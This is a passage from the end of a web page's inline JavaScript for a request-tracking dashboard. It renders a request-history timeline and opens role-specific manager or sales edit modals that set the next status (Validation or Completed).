<div class="timeline-v-content"> <div class="timeline-v-title">Pending</div> <div class="timeline-v-note">Your request was placed successfully</div> <div class="timeline-v-meta"> <span><strong>User</strong></span> </div> </div> </div> </div>`; } }) .catch(err => { timelineBody.innerHTML = '<div class="text-center text-danger py-3">Failed to load request history timeline.</div>'; }); }); }); // Dynamic Edit Modal Script document.querySelectorAll('.btn-edit-action').forEach(btn => { btn.addEventListener('click', function () { const dbId = this.getAttribute('data-id'); const reqId = this.getAttribute('data-reqid'); const currentStatus = (this.getAttribute('data-status') || '').toLowerCase().trim(); if (role === 'manager' || role === 'management' || role === 'admin') { const modalEl = document.getElementById('managerModal'); if (modalEl) { modalEl.querySelector('.edit-id').value = dbId; modalEl.querySelector('.modal-title-text').textContent = `Review Request - ${reqId}`; new bootstrap.Modal(modalEl).show(); } } else if (role === 'sales' || role === 'sales team') { const modalEl = document.getElementById('salesModal'); if (modalEl) { modalEl.querySelector('.edit-id').value = dbId; const targetStatusInput = modalEl.querySelector('.sales-target-status'); const valNotice = modalEl.querySelector('.sales-validation-notice'); const delNotice = modalEl.querySelector('.sales-delivery-notice'); const submitBtn = modalEl.querySelector('.sales-submit-btn'); if (currentStatus === 'approved') { modalEl.querySelector('.modal-title-text').textContent = `Sales Validation - ${reqId}`; targetStatusInput.value = 'Validation'; if (valNotice) valNotice.style.display = 'block'; if (delNotice) delNotice.style.display = 'none'; if (submitBtn) { submitBtn.textContent = 'Submit Validation'; submitBtn.className = 'btn btn-sm btn-primary px-4 sales-submit-btn'; } } else if (currentStatus === 'validation') { modalEl.querySelector('.modal-title-text').textContent = `Mark Completed - ${reqId}`; targetStatusInput.value = 'Completed'; if (valNotice) valNotice.style.display = 'none'; if (delNotice) delNotice.style.display = 'block'; if (submitBtn) { submitBtn.textContent = 'Mark Completed'; submitBtn.className = 'btn btn-sm btn-success px-4 sales-submit-btn'; } } new bootstrap.Modal(modalEl).show(); } } }); }); }); </script> </body> </html>
Save